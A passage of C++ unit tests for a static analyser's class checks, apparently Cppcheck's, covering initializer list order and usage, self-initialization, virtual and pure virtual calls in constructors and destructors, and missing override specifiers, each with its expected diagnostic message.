b, c;\\n\"\n \"public:\\n\"\n \" Fred() : c{0}, b{0}, a{0} { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:20] -> [test.cpp:2:12]: (style, inconclusive) Member variable 'Fred::b' is in the wrong place in the initializer list. [initializerList]\\n\"\n \"[test.cpp:4:26] -> [test.cpp:2:9]: (style, inconclusive) Member variable 'Fred::a' is in the wrong place in the initializer list. [initializerList]\\n\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : b(a = 1) {}\\n\"\n \" int a, b;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" int nCols() const;\\n\"\n \" int nRows() const;\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" const char* m_name;\\n\"\n \" int nCols;\\n\"\n \" int nRows;\\n\"\n \" B(const char* p_name, int nR, int nC)\\n\"\n \" : m_name(p_name)\\n\"\n \" , nCols(nC)\\n\"\n \" , nRows(nR)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"struct D : public B {\\n\"\n \" const int m_i;\\n\"\n \" D(const S& s, int _i)\\n\"\n \" : B(\\\"abc\\\", s.nRows(), s.nCols())\\n\"\n \" , m_i(_i)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void initializerListArgument() {\n checkInitializerListOrder(\"struct A { A(); };\\n\" // #12322\n \"struct B { explicit B(const A* a); };\\n\"\n \"struct C {\\n\"\n \" C() : b(&a) {}\\n\"\n \" B b;\\n\"\n \" const A a;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:11] -> [test.cpp:5:7]: (style, inconclusive) Member variable 'C::b' uses an uninitialized argument 'a' due to the order of declarations. [initializerList]\\n\",\n errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S(const std::string& f, std::string i, int b, int c) : a(0), b(b), c(c) {}\\n\"\n \" int a, b, c;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : p(a) {}\\n\"\n \" int* p;\\n\"\n \" int a[1];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : p(&i) {}\\n\"\n \" int* p;\\n\"\n \" int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : a(b = 1) {}\\n\"\n \" int a, b;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : r(i) {}\\n\"\n \" int& r;\\n\"\n \" int i{};\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct B {\\n\"\n \" int a{}, b{};\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" D() : B(), j(b) {}\\n\"\n \" int j;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : a(i) {}\\n\"\n \" int a;\\n\"\n \" static int i;\\n\"\n \"};\\n\"\n \"int S::i = 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S(int b) : a(b) {}\\n\"\n \" int a, b{};\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"class Foo {\\n\" // #3524\n \"public:\\n\"\n \" Foo(int arg) : a(b), b(arg) {}\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20] -> [test.cpp:4:9]: (style, inconclusive) Member variable 'Foo::a' uses an uninitialized argument 'b' due to the order of declarations. [initializerList]\\n\",\n errout_str());\n\n checkInitializerListOrder(\"struct S { double d = 0; };\\n\" // #12730\n \"struct T {\\n\"\n \" T() : s(), a(s.d), d(0) {}\\n\"\n \" S s;\\n\"\n \" double a, d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S { static const int d = 1; };\\n\"\n \"struct T {\\n\"\n \" T() : s(), a(S::d), d(0) {}\\n\"\n \" S s;\\n\"\n \" int a, d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInitializationListUsage(...) checkInitializationListUsage_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInitializationListUsage_(const char* file, int line, const char (&code)[size]) {\n // Check..\n const Settings settings = settingsBuilder().severity(Severity::performance).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.initializationListUsage();\n }\n\n void initializerListUsage() {\n checkInitializationListUsage(\"enum Enum { C = 0 };\\n\"\n \"class Fred {\\n\"\n \" int a;\\n\" // No message for builtin types: No performance gain\n \" int* b;\\n\" // No message for pointers: No performance gain\n \" Enum c;\\n\" // No message for enums: No performance gain\n \" Fred() { a = 0; b = 0; c = C; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() { a = 0; s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:21]: (performance) Variable 's' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string& s;\\n\" // Message is invalid for references, since their initialization in initializer list is required anyway and behaves different from assignment (#5004)\n \" Fred(const std::string& s_) : s(s_) { s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::vector v;\\n\"\n \" Fred() { v = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (performance) Variable 'v' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C { std::string s; };\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred() { c = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred() { c = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred(Fred const & other) { c = other.c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:32]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred(Fred && other) { c = other.c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() { initB(); a = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() : a(0) { if(b) a = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a[5];\\n\"\n \" Fred() { for(int i = 0; i < 5; i++) a[i] = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a; int b;\\n\"\n \" Fred() : b(5) { a = b; }\\n\" // Don't issue a message here: You actually could move it to the initialization list, but it would cause problems if you change the order of the variable declarations.\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() { try { a = new int; } catch(...) {} }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() { s = toString((size_t)this); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string a;\\n\"\n \" std::string foo();\\n\"\n \" Fred() { a = foo(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string a;\\n\"\n \" Fred() { a = foo(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (performance) Variable 'a' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #4332\n \" static std::string s;\\n\"\n \" Fred() { s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #5640\n \" std::string s;\\n\"\n \" Fred() {\\n\"\n \" char str[2];\\n\"\n \" str[0] = c;\\n\"\n \" str[1] = 0;\\n\"\n \" s = str;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class B {\\n\" // #5640\n \" std::shared_ptr _d;\\n\"\n \" B(const B& other) : _d(std::make_shared()) {\\n\"\n \" *_d = *other._d;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Bar {\\n\" // #8466\n \"public:\\n\"\n \" explicit Bar(const Bar &bar) : Bar{bar.s} {}\\n\"\n \" explicit Bar(const char s) : s{s} {}\\n\"\n \"private:\\n\"\n \" char s;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"unsigned bar(std::string);\\n\" // #8291\n \"class Foo {\\n\"\n \"public:\\n\"\n \" int a_, b_;\\n\"\n \" Foo(int a, int b) : a_(a), b_(b) {}\\n\"\n \" Foo(int a, const std::string& b) : Foo(a, bar(b)) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #8111\n \" std::string a;\\n\"\n \" Fred() {\\n\"\n \" std::ostringstream ostr;\\n\"\n \" ostr << x;\\n\"\n \" a = ostr.str();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: multi line lambda in rhs => do not warn\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::function f;\\n\"\n \" Fred() {\\n\"\n \" f = [](){\\n\"\n \" return 1;\\n\"\n \" };\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't warn if some other instance's members are assigned to\n checkInitializationListUsage(\"class C {\\n\"\n \"public:\\n\"\n \" C(C& c) : m_i(c.m_i) { c.m_i = (Foo)-1; }\\n\"\n \"private:\\n\"\n \" Foo m_i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class A {\\n\" // #9821 - delegate constructor\n \"public:\\n\"\n \" A() : st{} {}\\n\"\n \"\\n\"\n \" explicit A(const std::string &input): A() {\\n\"\n \" st = input;\\n\"\n \" }\\n\"\n \"\\n\"\n \"private:\\n\"\n \" std::string st;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkSelfInitialization(...) checkSelfInitialization_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkSelfInitialization_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings0, this);\n (checkClass.checkSelfInitialization)();\n }\n\n void selfInitialization() {\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred() : i(i) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred() : i{i} {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred();\\n\"\n \"};\\n\"\n \"Fred::Fred() : i(i) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class A {\\n\" // #10427\n \"public:\\n\"\n \" explicit A(int x) : _x(static_cast(_x)) {}\\n\"\n \"private:\\n\"\n \" int _x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Member variable '_x' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class A {\\n\"\n \"public:\\n\"\n \" explicit A(int x) : _x((int)(_x)) {}\\n\"\n \"private:\\n\"\n \" int _x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Member variable '_x' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() : s(s) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 's' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int x;\\n\"\n \" Fred(int x);\\n\"\n \"};\\n\"\n \"Fred::Fred(int x) : x(x) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int x;\\n\"\n \" Fred(int x);\\n\"\n \"};\\n\"\n \"Fred::Fred(int x) : x{x} { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred(const std::string& s) : s(s) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred(const std::string& s) : s{s} {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : Bar {\\n\"\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : Bar(\\\"\\\"), i(i) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : std::Bar {\\n\" // #6073\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : std::Bar(\\\"\\\"), i(i) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : std::Bar {\\n\" // #6073\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : std::Bar(\\\"\\\"), i{i} {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkVirtualFunctionCall(...) checkVirtualFunctionCall_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkVirtualFunctionCall_(const char* file, int line, const char (&code)[size]) {\n // Check..\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).certainty(Certainty::inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.checkVirtualFunctionCallInConstructor();\n }\n\n void virtualFunctionCallInConstructor() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual int f() { return 1; }\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{f();}\");\n ASSERT_EQUALS(\"[test.cpp:7:2] -> [test.cpp:3:17]: (style) Virtual function 'f' is called from constructor 'A()' at line 7. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A {\\n\"\n \" virtual int f();\\n\"\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:2:17]: (style) Virtual function 'f' is called from constructor 'A()' at line 3. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A : B {\\n\"\n \" int f() override;\\n\"\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:2:9]: (style) Virtual function 'f' is called from constructor 'A()' at line 3. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class B {\\n\"\n \" virtual int f() = 0;\\n\"\n \"};\\n\"\n \"class A : B {\\n\"\n \" int f();\\n\" // <- not explicitly virtual\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" A() { A::f(); }\\n\"\n \" virtual void f() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A : B {\\n\"\n \" int f() final { return 1; }\\n\"\n \" A() { f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class B {\\n\"\n \"public:\"\n \" virtual void f() {}\\n\"\n \"};\\n\"\n \"class A : B {\\n\"\n \"public:\"\n \" void f() override final {}\\n\"\n \" A() { f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual void Copy(const Base& Src) = 0;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" Derived() : i(0) {}\\n\"\n \" Derived(const Derived& Src);\\n\"\n \" void Copy(const Base& Src) override;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"Derived::Derived(const Derived& Src) {\\n\"\n \" Copy(Src);\\n\"\n \"}\\n\"\n \"void Derived::Copy(const Base& Src) {\\n\"\n \" auto d = dynamic_cast(Src);\\n\"\n \" i = d.i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:13:5] -> [test.cpp:9:10]: (style) Virtual function 'Copy' is called from copy constructor 'Derived(const Derived&Src)' at line 13. Dynamic binding is not used. [virtualCallInConstructor]\\n\",\n errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { auto pf = &f; }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { auto pf = &B::f; }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { (f)(); }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:3:18]: (style) Virtual function 'f' is called from constructor 'B()' at line 2. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class S {\\n\" // don't crash\n \" ~S();\\n\"\n \"public:\\n\"\n \" S();\\n\"\n \"};\\n\"\n \"S::S() {\\n\"\n \" typeid(S);\\n\"\n \"}\\n\"\n \"S::~S() = default;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct Base: { virtual void wibble() = 0; virtual ~Base() {} };\\n\" // #11167\n \"struct D final : public Base {\\n\"\n \" void wibble() override;\\n\"\n \" D() {}\\n\"\n \" virtual ~D() { wibble(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCall() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{pure();}\");\n ASSERT_EQUALS(\"[test.cpp:7:2] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual int pure()=0;\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::A():m(A::pure())\\n\"\n \"{}\");\n ASSERT_EQUALS(\"[test.cpp:7:13] -> [test.cpp:3:17]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"namespace N {\\n\"\n \" class A\\n\"\n \" {\\n\"\n \" virtual int pure() = 0;\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"N::A::A() : m(N::A::pure()) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:21] -> [test.cpp:4:19]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{pure();}\");\n ASSERT_EQUALS(\"[test.cpp:8:2] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure();}\");\n ASSERT_EQUALS(\"[test.cpp:9:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual int pure()=0;\\n\"\n \" int nonpure()\\n\"\n \" {return pure();}\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::A():m(nonpure())\\n\"\n \"{}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:9:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", \"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pure();}\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{nonpure();}\");\n ASSERT_EQUALS(\"[test.cpp:10:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A(bool b);\\n\"\n \"};\\n\"\n \"A::A(bool b)\\n\"\n \"{if (b) pure();}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{if (b) pure();}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n // #5831\n checkVirtualFunctionCall(\"class abc {\\n\"\n \"public:\\n\"\n \" virtual ~abc() throw() {}\\n\"\n \" virtual void def(void* g) throw () = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4992\n checkVirtualFunctionCall(\"class CMyClass {\\n\"\n \" std::function< void(void) > m_callback;\\n\"\n \"public:\\n\"\n \" CMyClass() {\\n\"\n \" m_callback = [this]() { return VirtualMethod(); };\\n\"\n \" }\\n\"\n \" virtual void VirtualMethod() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10559\n checkVirtualFunctionCall(\"struct S {\\n\"\n \" S(const int x) : m(std::bind(&S::f, this, x, 42)) {}\\n\"\n \" virtual int f(const int x, const int y) = 0;\\n\"\n \" std::function m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCallOtherClass() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A(const A & a);\\n\"\n \"};\\n\"\n \"A::A(const A & a)\\n\"\n \"{a.pure();}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"class B\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{B b; b.pure();}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCallWithBody() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pureWithBody()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{pureWithBody();}\\n\"\n \"void A::pureWithBody()\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pureWithBody()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pureWithBody();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure();}\\n\"\n \"void A::pureWithBody()\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void pureVirtualFunctionCallPrevented() {\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" { if (bCallPure) pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" { if (!bCallPure) ; else pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" {\\n\"\n \" switch (bCallPure) {\\n\"\n \" case true: pure(); break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkOverride(...) checkOverride_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOverride_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::style).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkOverride)();\n }\n\n void override1() {\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f(); };\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:37]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f() override; };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f() final; };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual auto foo( ) const -> size_t { return 1; }\\n\"\n \" virtual auto bar( ) const -> size_t { return 1; }\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public :\\n\"\n \" auto foo( ) const -> size_t { return 0; }\\n\"\n \" auto bar( ) const -> size_t override { return 0; }\\n\"\n 